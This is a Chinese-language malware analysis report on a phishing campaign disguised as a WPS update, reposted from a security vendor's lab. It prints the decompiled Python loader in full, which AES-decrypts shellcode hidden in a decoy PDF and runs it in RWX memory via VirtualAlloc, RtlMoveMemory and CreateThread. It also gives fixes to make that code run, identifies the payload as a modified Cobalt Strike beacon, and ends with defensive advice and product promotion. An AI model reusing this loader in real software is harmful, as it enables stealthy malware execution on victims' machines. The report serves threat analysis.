【恶意文件】wpsupdate钓鱼分析

【恶意文件】wpsupdate钓鱼分析

事件名称:

wpsupdate钓鱼分析

威胁类型:

后门

简单描述:

近日,深盾实验室在运营工作中发现攻击者通过伪装WPS更新执行钓鱼攻击的行为。


恶意文件描述

近期,深盾实验室在运营工作中发现攻击者通过伪装成wps更新的钓鱼活动。

【恶意文件】wpsupdate钓鱼分析

恶意文件分析


将文件拖入pe文件信息查看工具中发现存在py、python等字符串,于是判断是通过python打包而成。


解包

使用pyinstxtractor对exe进行解包,入口程序为main.py


【恶意文件】wpsupdate钓鱼分析


解出来的文件并没有进行加密,所以直接使用pycdc反编译得到源码,在main.py中导入了一en的自定义库,所以也对en.pyc进行反编译,反编译之后的内容如下


# Source Generated with Decompyle++

# File: main.pyc (Python 3.9)


import ctypes

import os

import sys

import time

import en

BSIZE = en.po090o09o9o89iu9oi09ioi09ow.block_size

KSIZE = 32

abc = ‘difh63jsabdj&#k’


def PadTest(bytes):

    if len(bytes) % BSIZE != 0:

        bytes += ‘ ‘.encode()

        continue

    return bytes



def Pad(abc):

    if len(abc) > KSIZE:

        return abc[:KSIZE]

    if None(abc) % KSIZE != 0:

        abc += ‘ ‘.encode()

        continue

    return abc



def ddd(key, encryptData):

    myCipher = en.po090o09o9o89iu9oi09ioi09ow.new(key, en.po090o09o9o89iu9oi09ioi09ow.MODE_ECB)

    bytes = myCipher.decrypt(encryptData)

    return bytes


sys.path.append(os.getcwd)

po090op9989080o909o90o09o9i9oi99o9 = 265728

time.sleep(2)

filename = ‘关于更新WPS的通知.pdf’

filename = filename.encode(‘utf-8’)

if os.path.exists(filename):

    o000op8980o890op90800o909 = en.o090o09pi98io9i09i9ioi(filename, ‘rb’)

    o0ooo0o0o0oo0o0op0o0o0opo0o89 = o000op8980o890op90800o909.read()[-po090op9989080o909o90o09o9i9oi99o9:]

    abc = Pad(abc.encode())

    o0ooo0o0o0oo0o0op0o0o0opo0o89 = PadTest(o0ooo0o0o0oo0o0op0o0o0opo0o89)

    o0ooo0o0o0oo0o0op0o0o0opo0o89 = ddd(abc, o0ooo0o0o0oo0o0op0o0o0opo0o89)

    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

    rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(o0ooo0o0o0oo0o0op0o0o0opo0o89), 4096, 64)

    en.ok09i09i9io(en.fja8g9u9guare8g0argua0rgu(rwxpage), ctypes.create_string_buffer(o0ooo0o0o0oo0o0op0o0o0opo0o89), len(o0ooo0o0o0oo0o0op0o0o0opo0o89))

    handle = en.sg1r5g1rgb1seth4ckbu77er5he4zt51hs5(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)

    ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

# Source Generated with Decompyle++

# File: en.pyc (Python 3.9)


import ctypes

from Cryptodome.Cipher import AES

po090o09o9o89iu9oi09ioi09ow = AES

oo90o890i0oi9io9i0oi9k09ii = ctypes

o090o09pi98io9i09i9ioi = open

ok09i09i9io = ctypes.windll.kernel32.RtlMoveMemory

o0oo00o0o0i09i09i = ctypes.c_uint64

sg1r5g1rgb1seth4ckbu77er5he4zt51hs5 = ctypes.windll.kernel32.CreateThread

i90i09i09i0i9 = ctypes.windll

i9u89u98u98u0u09u0u990 = i90i09i09i0i9.kernel32.RtlMoveMemory

fja8g9u9guare8g0argua0rgu = ctypes.c_uint64



文件修复

在反编译得到源码之后并不能直接运行,因为反编译的时候部分代码被损坏,所以需要对比opcode进行手动修复,需要修复的一共有三处:

PadTest函数中if判断需要替换成while:


def PadTest(bytes):

    while len(bytes) % BSIZE != 0:

        bytes += ‘ ‘.encode()

        continue

    return bytes

Pad函数中的第二处if判断也需要替换成while,同时None需要替换成len函数:


def Pad(abc):

    if len(abc) > KSIZE:

        return abc[:KSIZE]

    while len(abc) % KSIZE != 0:

        abc += ‘ ‘.encode()

        continue

    return abc


解密Shellcode

通过理解源码可以发现,shellcode存在pdf的后265728个字节中,取出这部分内容之后判断长度是否满足32的整数倍,如果不满足则使用空格填充,解密的key做同样处理,之后使用AES对取出来的内容进行解密得到最终的shellcode,之后调用VirtualAlloc分配内存,RtlMoveMemory写入内存,CreateThread创建线程,并将线程执行位置指向shellcode起始位置,最后通过WaitForSingleObject执行线程。


在分析时可以将shellcode写入到文件中单独分析:在调用VirtualAlloc之前将shellcode写入到文件中,随后将文件放到x64dbg中进行动态调试。


【恶意文件】wpsupdate钓鱼分析


根据静态信息可以看出执行的shellcode是二开的CS马。


【恶意文件】wpsupdate钓鱼分析


当调试到0x0000000180017E25会触发异常,原因在于执行内存拷贝时源数据地址无效:


【恶意文件】wpsupdate钓鱼分析


源地址失效将导致后续的代码异常退出,从而无法分析。


解决方案

【恶意文件】wpsupdate钓鱼分析

处置建议


1、不要打开来历不明的邮件及其里面的附件或链接。

2、通过即时通讯软件发送的文件需要确认无毒之后再打开。

3、安装杀软并保持更新。

【恶意文件】wpsupdate钓鱼分析

深信服解决方案


【深信服统一端点安全管理系统aES】

已支持查杀拦截此次事件使用的病毒文件。aES全新上线“动静态双AI引擎”,静态AI能够在未知勒索载荷落地阶段进行拦截,动态AI则能够在勒索载荷执行阶段进行防御,通过动静态AI双保险机制可以更好地遏制勒索蔓延。请更新软件(如有定制请先咨询售后再更新版本)和病毒库至最新版本。

【恶意文件】wpsupdate钓鱼分析

【深信服下一代防火墙AF】的安全防护规则更新至最新版本,接入深信服安全云脑,“云鉴” 服务即可轻松抵御此高危风险。

【深信服安全感知管理平台SIP】建议用户及时更新规则库,接入深信服安全云脑,并联动【深信服下一代防火墙AF】实现对高危风险的入侵防护。

【深信服安全托管服务MSS】以保障用户网络安全“持续有效”为目标,通过将用户安全设备接入安全运营中心,依托于XDR安全能力平台和MSSP安全服务平台实现有效协同的“人机共智”模式,围绕资产、脆弱性、威胁、事件四个要素为用户提供7*24H的安全运营服务,快速扩展持续有效的安全运营能力,保障可承诺的风险管控效果。

【恶意文件】wpsupdate钓鱼分析


原文始发于微信公众号(深信服千里目安全技术中心):【恶意文件】wpsupdate钓鱼分析

版权声明:admin 发表于 2023年9月8日 下午5:44。
转载请注明:【恶意文件】wpsupdate钓鱼分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...